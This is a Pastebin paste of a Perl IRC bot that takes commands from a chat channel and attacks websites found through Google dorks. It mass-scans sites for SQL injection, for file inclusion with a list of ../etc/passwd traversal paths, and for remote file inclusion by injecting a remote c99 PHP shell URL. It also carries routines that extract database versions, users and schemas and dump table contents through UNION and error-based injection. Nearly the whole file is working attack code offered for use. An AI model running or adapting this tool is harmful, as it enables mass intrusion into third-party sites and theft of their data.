Googleinurl

Bot perl IrcBot 2

Sep 5th, 2012
299
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 35.28 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #   ------------ You Must Change BOT Config First Of ALL
  3. #   ------------ Bot Commands :
  4. #--   !md5 <word>       => make an md5 hash
  5. #--   !md5crack <hash>    => crack md5 hashes
  6. #--   !base64 <word>      => encode with base64
  7. #--   !basedecode <text to decode>                         => decode base64 text
  8. #--   !lastsploits        => to get lastest sploits from milw0rm
  9. #-------------------------------------{ SQL INJECTION FUNCTIONS  }-----------------------------------------
  10. #--   !col  <vuln>           => calculate number of columns in a sql vulnerable
  11. #--   !det <vuln>        *   => MySQL DB Details (version , user ,db , dir )
  12. #--   !schema <vuln>  *                              => Extract all (DB's , Tables , Columns) names
  13. #--   !dump <vuln>       => Dump Data from a column & table
  14. #--   !ms <vuln>  => Get MsSQL DB Details
  15. #  ===>>>  * you must enter vuln this way http://target.com/page.php?id=0+union+select+1,nullarea,2,3
  16. #-------------------------------------{ Vulnerability scan FUNCTIONS  }-----------------------------
  17. #--   !sqlscan <dork> => fetch url's from google and check if sql vuln or not
  18. #--   !rfiscan <dork>    => fetch url's from google and check if rfi vuln or not
  19. #--   !lfiscan <dork>   => fetch url's from google and check if lfi vuln or not
  20. ################################################################################################################################
  21. use IO::Socket::INET;
  22. use LWP::UserAgent;
  23. use LWP::Simple;
  24. #use XML::Simple;
  25. use Digest::MD5 qw(md5_hex);
  26. use MIME::Base64;
  27. ############################################################################################
  28. my $server   = "irc.adr3nalin3.com";   # IRC Server
  29. my $port         = "6667";                               # IRC Server port
  30. my $nick         = "sqli";                            # Bot Nick
  31. my $channel  = "#chats";                  # Channel to Join
  32. my $name         = "12542v dg sdfgcd sfdgfsrcgc";
  33. my $phpshell = "http://w7ed.by.ru/c99.txt";  #your phpshell link for RFI scan
  34. ############################################################################################
  35. system('cls');
  36. print "\n\n\n\n OOO  OOO                   OO   OO              OO\n";
  37. print "  OO   O                  O       O               O\n";
  38. print "  O O  O  OO  OO  O       O              O O   OO OOO   OOOO     OOOOO\n";
  39. print "  O  O O   O   O  O       O              OOO     OO       OOOOOO    O\n";
  40. print "  O   OO   O   O  O       O         O   O   O      O        OOOOOO\n";
  41. print " OOO  OO   OOOOO   OOOOO OOOOO   OOO OOO OOOOO   OOOOO  OOOO OO\n";
  42. print " \n\n                                                                                                    AlpHaNiX IRC BOT V1 \n\n";
  43. print "\n [+] Connection To $server ....\n";
  44. ############################################################################################
  45. $connection = IO::Socket::INET->new(PeerAddr=>"$server",
  46.                                                                  PeerPort=>"$port",
  47.                                                                  Proto=>'tcp',
  48.                                                                  Timeout=>'30') or die " [!] Couldnt Connect To $server\n";
  49. print " [+] Connected  To $server ....\n\n";
  50. ############################################################################################                              
  51. print $connection "USER $name\n";
  52. print $connection "NICK $nick\r\n";
  53. ############################################################################################
  54. while($response = <$connection>)
  55. {
  56.          print $response;  #print IRC Response
  57.          if($response =~ m/:(.*) 00(.*) (.*) :/){print $connection "JOIN $channel\r\n";}  #-------Join Channel
  58.         if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!help/){&help;}                            #-------Print Help
  59.         if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!md5 (.*)$/){&md5encode;}                #------- md5encoder
  60.          if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!md5crack (.*)$/){&md5cracker;}  #-------md5cracker
  61.         if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!base64 (.*)$/){&base64;}                #-------base64 encoder
  62.         if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!basedecode (.*)$/){&basedecode;}#-------base64decoder
  63.          if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!iplocation (.*)$/){&iplocation;}#-------ip locator
  64.         if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!lastsploits/){&milw0rm;}                #-------last sploits
  65.          if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!sqlscan (.*)$/){&sqlscan;}       #-------SQLi scanner
  66.          if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!lfiscan (.*)$/){&lfiscan;}       #-------LFI Scanner
  67.          if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!rfiscan (.*)$/){&rfiscan;}       #-------RFI Scanner
  68.          if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!col (.*)$/){&colcount;}                 #-------column counter
  69.          if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!det (.*)$/){&mysqldet;}                 #-------details grabber
  70.         if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!schema (.*)$/){&schema;}                #-------schema extractor
  71.         if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!dump (.*)-(.*)-(.*)$/){&mysqldumper}#-------data dumper
  72.          if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!ms (.*)$/){&mssqldet}             #-------mssql details grabber
  73.         if($response =~ m/^PING (.*?)$/gi){print $connection "PONG ".$1."\r\n";}                 #-------ping reponse
  74. }
  75. ################################################################################
  76. ############
  77. sub help
  78. {
  79.         print $connection "PRIVMSG $channel :8,1 AlpHaNiX IRC BOT V1.5 Help : \r\n";
  80.         print $connection "PRIVMSG $channel :8,1                                                       \r\n";
  81.         print $connection "PRIVMSG $channel :4,1 --------------== Encoding Services ==--------------\r\n";
  82.         print $connection "PRIVMSG $channel :9,1 To Generate an  MD5 Hash => : 11,1  !md5 word                  \r\n";
  83.         print $connection "PRIVMSG $channel :9,1 To Crack an MD5 Hash   => : 11,1  !md5crack Hash      \r\n";
  84.         print $connection "PRIVMSG $channel :9,1 To Encode with Base64 => : 11,1  !base64 word           \r\n";
  85.         print $connection "PRIVMSG $channel :9,1 To Decode Base64               => : 11,1  !basedecode base64 \r\n";
  86.         print $connection "PRIVMSG $channel :4,1 ----------------== Other Services ==---------------\r\n";
  87.         print $connection "PRIVMSG $channel :9,1 Check IP Location             => : 11,1  !iplocation ip       \r\n";
  88.         print $connection "PRIVMSG $channel :9,1 Get lastest Sploits     => : 11,1  !lastsploits         \r\n";
  89.         print $connection "PRIVMSG $channel :4,1 ----------------== SQL Injection ==----------------\r\n";
  90.         print $connection "PRIVMSG $channel :9,1 MySQL Column Count       => : 11,1  !col target              \r\n";  
  91.         print $connection "PRIVMSG $channel :9,1 MySQL DB Details               => : 11,1  !det target                \r\n";  
  92.         print $connection "PRIVMSG $channel :9,1 MySQL Schema Extractor   => : 11,1  !schema target    \r\n";  
  93.         print $connection "PRIVMSG $channel :9,1 MySQL Data Dumper             => : 11,1  !dump target           \r\n";  
  94.         print $connection "PRIVMSG $channel :9,1 MsSQL Details                 => : 11,1  !ms target           \r\n";  
  95.         print $connection "PRIVMSG $channel :4,1 ------------== Vulnerablitys Scanner ==------------\r\n";
  96.         print $connection "PRIVMSG $channel :9,1 SQL Vuln Scanner               => : 11,1  !sqlscan dork        \r\n";          
  97.         print $connection "PRIVMSG $channel :9,1 LFI Vuln Scanner               => : 11,1  !lfiscan dork        \r\n";          
  98.         print $connection "PRIVMSG $channel :9,1 RFI Vuln Scanner               => : 11,1  !rfiscan dork        \r\n";                  
  99. }
  100. ################################################################################
  101. ############
  102. sub md5encode
  103. {
  104.         my $md5_hash = $3;
  105.         my $asker = $1;
  106.         my $md5_generated = md5_hex($md5_hash);
  107.         print $connection "PRIVMSG $channel :4$asker , done =>6 $md5_generated\r\n";
  108. }
  109. ################################################################################
  110. ############
  111. sub md5cracker
  112. {
  113.          my $asker = $1;
  114.         my $hash = $3;
  115.                 if (length($hash) != 33)
  116.                    {
  117.                           print $connection "PRIVMSG $channel :Not Valid MD5 Hash !\r\n";
  118.                   }
  119.                 else
  120.                    {
  121.                                 my $ua = LWP::UserAgent->new();
  122.                                 my $contents = $ua->get('http://md5.rednoize.com/?p&s=md5&q='.$hash);
  123.                                 my $cracked = $contents->content;
  124.                                         if ($cracked)
  125.                                         {
  126.                                                   print $connection "PRIVMSG $channel :4$asker Cracked ! =>6 $cracked\r\n";
  127.                                         }
  128.                                         else
  129.                                                    {
  130.                                            print $connection "PRIVMSG $channel :4$asker,6 Not Found !\r\n";
  131.                                    }
  132.                         }
  133. }
  134. ################################################################################
  135. ############
  136. sub base64
  137. {
  138.         my $base64 = $3;
  139.          my $asker = $1;
  140.         my $base64_encoded = encode_base64($base64);
  141.         print $connection "PRIVMSG $channel :4$asker,6 Encoded => $base64_encoded\r\n";
  142. }
  143. ################################################################################
  144. ############
  145. sub basedecode
  146. {
  147.          my $base64d = $3;
  148.         my $asker = $1;
  149.          my $base64_decoded = decode_base64($base64d);
  150.          print $connection "PRIVMSG $channel :4$asker,6 Decoded => $base64_decoded\r\n";
  151. }
  152. ################################################################################
  153. ############
  154. sub iplocation
  155. {
  156.         my $asker = $1;
  157.         my $ip = $3;
  158.                 if (length($ip) > 17)
  159.                    {
  160.                            print $connection "PRIVMSG $channel :6Not Real IP !\r\n";
  161.                   }
  162.                 else
  163.                    {
  164.                                 my $ua = LWP::UserAgent->new();
  165.                                 my $contents = $ua->get('http://www.melissadata.com/lookups/iplocation.asp?ipaddress='.$ip);
  166.                                 my $found = $contents->content;
  167.                                         if ($found =~ /<tr><td align="right">Country<\/td><td><b>(.*)<\/b><\/td><\/tr>/)
  168.                                                 {
  169.                                                 print $connection "PRIVMSG $channel :4$asker , The IP Location =>6 $1\r\n";
  170.                                         }
  171.                                          else
  172.                                          {
  173.                                                  print $connection "PRIVMSG $channel :6Not Real IP !\r\n";
  174.                                         }
  175.                         }
  176. }
  177. ################################################################################
  178. ############
  179. sub milw0rm
  180. {
  181.          my $rss = get('http://milw0rm.com/rss.php');
  182.          my $xml = XMLin($rss);
  183.          my $spl = scalar(@{$xml->{channel}->{item}});
  184.                  for ($i=0; $i<$spl; $i++)
  185.                          {
  186.                                 print $connection "PRIVMSG $channel :4\n";
  187.                                  print $connection "PRIVMSG $channel :6Date : $xml->{channel}->{item}->[$i]->{pubDate}\n";
  188.                                  print $connection "PRIVMSG $channel :6Title: $xml->{channel}->{item}->[$i]->{title}\n";
  189.                                  print $connection "PRIVMSG $channel :6Link : $xml->{channel}->{item}->[$i]->{link}\n\n";
  190.                          }
  191. }
  192. ################################################################################
  193. ############
  194. sub sqlscan
  195. {
  196.          my $asker = $1;
  197.         my $dork  = $3;
  198.         print $connection "PRIVMSG $channel :4$asker 12[+] SQL Vulnerable Scan Started ....\r\n";
  199.         print $connection "PRIVMSG $channel :4$asker 12[+] Dork : $dork ....\r\n";
  200.         my $google   = "http://www.google.com/search&channel=fs&q=$dork&ie=utf-8&oe=utf-8";
  201.         #----
  202.         my $request   = HTTP::Request->new(GET=>"$google"."$i");
  203.          my $useragent = LWP::UserAgent->new(agent => 'Firefox 3.0.9');
  204.          my $response  = $useragent->request($request);
  205.          my $con = $response->content;
  206.                 if ($con =~ m/restore your access as quickly as possible, so try again soon. In the meantime, if you suspect that your computer or network has been infected/i)
  207.                   { print $connection "PRIVMSG $channel :4$asker 12[!] Banned From Google Search !!\r\n"; }
  208.                 else
  209.            {
  210.                          for ($i=0;$i<200;$i=$i+10)
  211.                                  {
  212.                                          my $request   = HTTP::Request->new(GET=>"$google"."$i");
  213.                                          my $useragent = LWP::UserAgent->new(agent => 'Mozilla 5.2');
  214.                                          my $response  = $useragent->request($request);
  215.                                          my $con = $response->content;
  216.                                          my $start='class=r><a href=\"';
  217.                                          my $end= '" class=l>';
  218.                                                  while ( $con =~ m/$start(.*?)$end/g )
  219.                                                          {
  220.                                                                 my $fl   = $1;
  221.                                                            my $link   = $fl.'1+order+by+9999999--';
  222.                                                           print $connection "PRIVMSG $channel :4$asker 12[!] Trying To Fuzz6 $1\r\n";
  223.                                                           my $ua         = LWP::UserAgent->new();
  224.                                                           my $req       = $ua->get($link);
  225.                                                           my $result = $req->content;
  226.                                                                   if ($result=~ m/You have an error in your SQL syntax/i || $result=~ m/Query failed/i || $result=~ m/SQL query failed/i || $result=~ m/mysql_fetch_/i || $result=~ m/mysql_fetch_array/i || $result =~ m/mysql_num_rows/i || $result =~ m/The used SELECT statements have a different number of columns/i )
  227.                                                                          {print $connection "PRIVMSG $channel :4$asker 12[!] Possible MySQL Vulnerable Website ->6 $fl\r\n";}
  228.                                                                  elsif ($result=~ m/ODBC SQL Server Driver/i || $result=~ m/Unclosed quotation mark/i || $result=~ m/Microsoft OLE DB Provider for/i )
  229.                                                                          {print $connection "PRIVMSG $channel :4$asker 12[!] Possible MsSQL Vulnerable Website ->6 $fl\r\n";}
  230.                                                                  elsif ($result=~ m/Microsoft JET Database/i || $result=~ m/ODBC Microsoft Access Driver/i )
  231.                                                                          {print $connection "PRIVMSG $channel :4$asker 12[!] Possible MS Access Vulnerable Website ->6 $fl\r\n";}
  232.                                                          }
  233.                                  }
  234.                          print $connection "PRIVMSG $channel :4$asker 12[!] SQL Scan Finished !\r\n";                
  235.                  }
  236. }
  237. ################################################################################
  238. ############
  239. sub lfiscan
  240. {
  241.          my $asker = $1;
  242.         my $dork  = $3;
  243.         print $connection "PRIVMSG $channel :4$asker 12[+] LFI Vulnerable Scan Started ....\r\n";
  244.         print $connection "PRIVMSG $channel :4$asker 12[+] Dork : $dork ....\r\n";
  245.         my $google   = "http://www.google.com/search?hl=en&q=$dork&btnG=Search&start=";
  246.          @LFI = ('../etc/passwd',
  247.          '../../etc/passwd',
  248.          '../../../etc/passwd',
  249.          '../../../../etc/passwd',
  250.          '../../../../../etc/passwd',
  251.          '../../../../../../etc/passwd',
  252.          '../../../../../../../etc/passwd',
  253.          '../../../../../../../../etc/passwd',
  254.          '../../../../../../../../../etc/passwd',
  255.          '../../../../../../../../../../etc/passwd',
  256.          '../../../../../../../../../../../etc/passwd',
  257.          '../../../../../../../../../../../../etc/passwd',
  258.          '../../../../../../../../../../../../../etc/passwd',
  259.          '../../../../../../../../../../../../../../etc/passwd',);
  260.         my $request   = HTTP::Request->new(GET=>"$google"."$i");
  261.          my $useragent = LWP::UserAgent->new(agent => 'Mozilla 5.2');
  262.          my $response  = $useragent->request($request);
  263.          my $con = $response->content;
  264.                 if ($con =~ m/restore your access as quickly as possible, so try again soon. In the meantime, if you suspect that your computer or network has been infected/i)
  265.                   { print $connection "PRIVMSG $channel :4$asker 12[!] Banned From Google Search !!\r\n"; }
  266.                 else
  267.            {
  268.                  for ($i=0;$i<200;$i=$i+10)
  269.                          {
  270.                                  my $start='class=r><a href=\"';
  271.                                  my $end= '" class=l>';
  272.                                          while ( $con =~ m/$start(.*?)$end/g )
  273.                                                  {
  274.                                            print $connection "PRIVMSG $channel :4$asker 12[!] Trying To Fuzz6 $1\r\n";
  275.                                                    for ($j;$j<=14;$j++)
  276.                                                           {
  277.                                                                                 my $fl   = $1;
  278.                                                                            my $link   = $fl.$LFI[$j];
  279.                                                                           my $ua         = LWP::UserAgent->new();
  280.                                                                           my $req       = $ua->get($link);
  281.                                                                           my $result = $req->content;
  282.                                                                                   if ($result=~ m/root:x:/i)
  283.                                                                                          {print $connection "PRIVMSG $channel :4$asker 12[!] Possible LFI Vulnerable Website ->6 $fl\r\n";}
  284.                                                          }
  285.                                                  }
  286.                          }
  287.                  print $connection "PRIVMSG $channel :4$asker 12[!] LFI Scan Finished !\r\n";          
  288.                  }  
  289. }
  290. ################################################################################
  291. ############
  292. sub rfiscan
  293. {
  294.          my $asker = $1;
  295.         my $dork  = $3;
  296.         print $connection "PRIVMSG $channel :4$asker 12[+] RFI Vulnerable Scan Started ....\r\n";
  297.         print $connection "PRIVMSG $channel :4$asker 12[+] Dork : $dork ....\r\n";
  298.         my $google   = "http://www.google.com/search?hl=en&q=$dork&btnG=Search&start=";
  299.         #----
  300.         my $request   = HTTP::Request->new(GET=>"$google"."$i");
  301.          my $useragent = LWP::UserAgent->new(agent => 'Mozilla 5.2');
  302.          my $response  = $useragent->request($request);
  303.          my $con = $response->content;
  304.                 if ($con =~ m/restore your access as quickly as possible, so try again soon. In the meantime, if you suspect that your computer or network has been infected/i)
  305.                   { print $connection "PRIVMSG $channel :4$asker 12[!] Banned From Google Search !!\r\n"; }
  306.                 else
  307.            {
  308.                  for ($i=0;$i<200;$i=$i+10)
  309.                          {
  310.                                  my $start='class=r><a href=\"';
  311.                                  my $end= '" class=l>';
  312.                                          while ( $con =~ m/$start(.*?)$end/g )
  313.                                                  {
  314.                                            print $connection "PRIVMSG $channel :4$asker 12[!] Trying To Fuzz6 $1\r\n";
  315.                                                         my $fl   = $1;
  316.                                                    my $link   = $fl.$phpshell.'??';
  317.                                                   my $ua         = LWP::UserAgent->new();
  318.                                                   my $req       = $ua->get($link);
  319.                                                   my $result = $req->content;
  320.                                                           if ($result=~ m/uid=/i)
  321.                                                                  {print $connection "PRIVMSG $channel :4$asker 12[!] Possible RFI Vulnerable Website ->6 $fl\r\n";}
  322.                                                  }
  323.                          }
  324.                  print $connection "PRIVMSG $channel :4$asker 12[!] RFI Scan Finished !\r\n";          
  325.                  }
  326. }
  327. ################################################################################
  328. ############
  329. sub colcount
  330. {
  331.          my $asker = $1;
  332.          print $connection "PRIVMSG $channel :4$asker 12[+] Column Counting Started , Please Wait ....\r\n";
  333.          my $site = $3;
  334.          my $null = "09+and+1=";
  335.          my $code = "0+union+select+";
  336.          my $add = "+";
  337.          my $com = "--";
  338.          my $injection = $site.$null.$code."0",$com;
  339.                  my $request   = HTTP::Request->new(GET=>$injection);
  340.                  my $useragent = LWP::UserAgent->new();
  341.                  my $response  = $useragent->request($request);
  342.                  my $result   = $response->content;
  343.                          if( $result =~ /You have an error in your SQL syntax/ || $result=~/Query failed/ || $result=~/SQL query failed/ || $result=~ /mysql_fetch_/ || $result=~ /mysql_fetch_array/ || $result =~ /mysql_num_rows/ || $result =~ /The used SELECT statements have a different number of columns/)
  344.                                  {
  345.                                          print $connection "PRIVMSG $channel :4$asker 12[+] This Website Is Vulnerable\n";
  346.                                         print $connection "PRIVMSG $channel :4$asker 12[+] Working On It\n";
  347.                                  }
  348.                          else
  349.                                  {
  350.                                         print $connection "PRIVMSG $channel :4$asker 10[!] This WebSite Is Not SQL Vulnerable !\n\n";
  351.                                  }
  352.                                            for ($i = 0; $i < 50; $i ++)
  353.                                                          {
  354.                                                           $col.=','.$i;
  355.                                                           $specialword.=','."0x617a38387069783030713938";
  356.                                                                   if ($i == 0)
  357.                                                                           {
  358.                                                                                  $specialword = '';
  359.                                                                                  $col = '';
  360.                                                                           }
  361.                                                            $sql=$site.$null.$code."0x617a38387069783030713938".$specialword.$com;
  362.                                                 my $ua = LWP::UserAgent->new();
  363.                                                 my $res = $ua->get($sql);
  364.                                                            $response=$res->content;
  365.                                                                  if($response =~ /az88pix00q98/)
  366.                                                                           {
  367.                                                                                  $i ++;
  368.                                                                                  print $connection "PRIVMSG $channel :4$asker 12[+] This Injection Have6 $i 12Columns\n";
  369.                                                                          }  
  370.                                                          }
  371. }
  372. ################################################################################
  373. ############
  374. sub mysqldet
  375. {
  376.          my $asker       = $1;
  377.          my $site         = $3;  
  378.          my $selection = "concat(0x617a38387069783030713938,version(),0x617a38387069783030713938,database(),0x617a38387069783030713938,user(),0x617a38387069783030713938,\@\@datadir,0x617a38387069783030713938)";
  379.          print $connection "PRIVMSG $channel :4$asker 12[+] Info Getting, Started Please Wait ....\r\n";
  380.            if ($site =~ /(.*)NullArea(.*)/i)
  381.                          {
  382.                                  $newlink = $1.$selection.$2.'--';
  383.                                  my $ua = LWP::UserAgent->new();
  384.                                 my $request = $ua->get($newlink);
  385.                                 my $content = $request->content;
  386.                                          if ($content =~ /az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98/)
  387.                                                  {
  388.                                            print $connection "PRIVMSG $channel :4$asker 12[+] Database Version  :6 $1\r\n";
  389.                                                          print $connection "PRIVMSG $channel :4$asker 12[+] Database Name      :6 $2\r\n";                              
  390.                                                          print $connection "PRIVMSG $channel :4$asker 12[+] DB UserName          :6 $3\r\n";                            
  391.                                                          print $connection "PRIVMSG $channel :4$asker 12[+] Databse Dir          :6 $4\r\n";                            
  392.                                    }
  393.                                   else
  394.                                         {
  395.                                            print $connection "PRIVMSG $channel :4$asker 12[!] Failed\r\n";
  396.                                    }
  397.                   }
  398.            else
  399.                    {
  400.                           print $connection "PRIVMSG $channel :4$asker 12[!] Please Enter the target this way :6 http://target.net/page.php?id=0+union+select+1,2,nullarea,3\r\n";  
  401.                   }
  402. }
  403. ################################################################################
  404. ############
  405. sub schema
  406. {
  407.          my $asker       = $1;
  408.          my $site         = $3;
  409.          my $selection = "concat(0x617a38387069783030713938,table_name,0x617a38387069783030713938,column_name
  410. ,0x617a38387069783030713938,table_schema,0x617a38387069783030713938)";
  411.                  if ($site =~ /(.*)NullArea(.*)/i)
  412.                    {
  413.                    print $connection "PRIVMSG $channel :4$asker 12[+] 6Table 12:|: 6Column 12:|: 6Database\r\n";
  414.                          for ($i ;  $i<=1500; $i++ )
  415.                           {
  416.                                 $newstring = $1.$selection.$2.'+'.'from'.'+'.'information_schema.columns'.'+'.'LIMIT'.'+'.$i.','.'1'.'--';
  417.                                  my $ua = LWP::UserAgent->new();
  418.                                 my $request = $ua->get($newstring);
  419.                                 my $content = $request->content;
  420.                                          if ($content =~ /az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98/)
  421.                                                  {
  422.                                            print $connection "PRIVMSG $channel :4$asker 12[!] 6$1 12:|: 6$2 12:|: 6$3 \r\n";
  423.                                         }
  424.                          }
  425.                    }
  426.                  else
  427.                    {
  428.                                  print $connection "PRIVMSG $channel :4$asker 12[!] Please Enter the target this way :6 http://target.net/page.php?id=0+union+select+1,2,nullarea,3\r\n";  
  429.                    }
  430. }
  431. ################################################################################
  432. ############
  433. sub mysqldumper
  434. {
  435.          my $asker       = $1;
  436.          my $site         = $3;
  437.         my $table        = $5;
  438.         my $selection = "concat(0x617a38387069783030713938,$4,0x617a38387069783030713938)";
  439.                  if ($site =~ /(.*)NullArea(.*)/i)
  440.                    {
  441.                    print $connection "PRIVMSG $channel :4$asker 12[+] 6 DATA\r\n";
  442.                          for ($i ;  $i<=1500; $i++ )
  443.                           {
  444.                                 $newstring = $1.$selection.$2.'+'.'from'.'+'.$table.'+'.'LIMIT'.'+'.$i.','.'1'.'--';
  445.                                  my $ua = LWP::UserAgent->new();
  446.                                 my $request = $ua->get($newstring);
  447.                                 my $content = $request->content;
  448.                                  if ($content =~ /az88pix00q98(.*)az88pix00q98/)
  449.                                                  {
  450.                                            print $connection "PRIVMSG $channel :4$asker 12[!] 6 $1\r\n";
  451.                                         }
  452.                          }
  453.                    }
  454.                  else
  455.                    {
  456.                                  print $connection "PRIVMSG $channel :4$asker 12[!] Please Enter the target this way :6 http://target.net/page.php?id=0+union+select+1,2,nullarea,3-column_name-table_name\r\n";  
  457.                    }
  458. }
  459. ################################################################################
  460. ############
  461. sub mssqldet
  462. {
  463.          my $asker = $1;
  464.         print $connection "PRIVMSG $channel :4$asker 12[+] Getting Infos Started , Please Wait ....\r\n";
  465.          my $target = $3;
  466.          print "\n[+] Working On $target";
  467.          my $version = 'convert(int,(select+@@version));--';
  468.          my $system_user = 'convert(int,(select+system_user));--';
  469.          my $db_name = 'convert(int,(select+db_name()));--';
  470.          my $servername = 'convert(int,(select+@@servername));--';
  471.          my $hostname = 'convert(int,(select+Host_Name()));--';
  472.          my $site = $target;
  473.                  my $injection = $site.$version;
  474.                  my $request   = HTTP::Request->new(GET=>$injection);
  475.                  my $useragent = LWP::UserAgent->new();
  476.                  my $response  = $useragent->request($request)->as_string;
  477.                          if ($response =~ /.*?value\s'/)
  478.                                  {
  479.                                         print $connection "PRIVMSG $channel :4$asker 12[+] This Website Is SQL Vulnerable ..\r\n";
  480.                                         print $connection "PRIVMSG $channel :4$asker 12[+] Working On It ..\r\n";
  481.    
  482.                                           $ver = $1 if ($response =~ /.*?value\s'(.*?)'\sto.*/sm);
  483.  
  484.                                                 print $connection "PRIVMSG $channel :4$asker 12[!] MsSQL Version Is           : 6$ver\r\n";
  485.    
  486.                                                         my $injection = $site.$system_user;
  487.                                                          my $request   = HTTP::Request->new(GET=>$injection);
  488.                                                          my $useragent = LWP::UserAgent->new();
  489.                                                          $useragent->timeout(10);
  490.                                                          my $response  = $useragent->request($request)->as_string;
  491.                                                         $system_user = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
  492.                                                          print $connection "PRIVMSG $channel :4$asker 12[!] MsSQL System_User Is      : 6$system_user\r\n";
  493.  
  494.                                                                          my $injection = $site.$db_name;
  495.                                                                          my $request   = HTTP::Request->new(GET=>$injection);
  496.                                                                          my $useragent = LWP::UserAgent->new();
  497.                                                                          $useragent->timeout(10);
  498.                                                                          my $response  = $useragent->request($request)->as_string;
  499.                                                                         $db_name = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
  500.                                                                          print $connection "PRIVMSG $channel :4$asker 12[!] MsSQL Database Name Is  : 6$db_name\r\n";        
  501.          
  502.                                                                                         my $injection = $site.$servername;
  503.                                                                                          my $request   = HTTP::Request->new(GET=>$injection);
  504.                                                                                          my $useragent = LWP::UserAgent->new();
  505.                                                                                          $useragent->timeout(10);
  506.                                                                                          my $response  = $useragent->request($request)->as_string;
  507.                                                                                         $servername = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
  508.                                                                                          print $connection "PRIVMSG $channel :4$asker 12[!] MsSQL Server Name Is      : 6$servername\r\n";
  509.                                  
  510.                                                                                                            my $injection = $site.$hostname;
  511.                                                                                          my $request   = HTTP::Request->new(GET=>$injection);
  512.                                                                                                          my $useragent = LWP::UserAgent->new();
  513.                                                                                                          $useragent->timeout(10);
  514.                                                                                                          my $response  = $useragent->request($request)->as_string;
  515.                                                                                                         $hostnames = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
  516.                                                                                                          print $connection "PRIVMSG $channel :4$asker 12[!] MsSQL HostName Is    : 6$hostnames\r\n";
  517.                                  }
  518.                         else
  519.                                  {
  520.                                         print $connection "PRIVMSG $channel :4$asker 10[!] This Website Is Not SQL Vulnerable !\r\n";
  521.                                  }
  522. }
  523. ################################################################################
  524. ############
Add Comment
Please, Sign In to add comment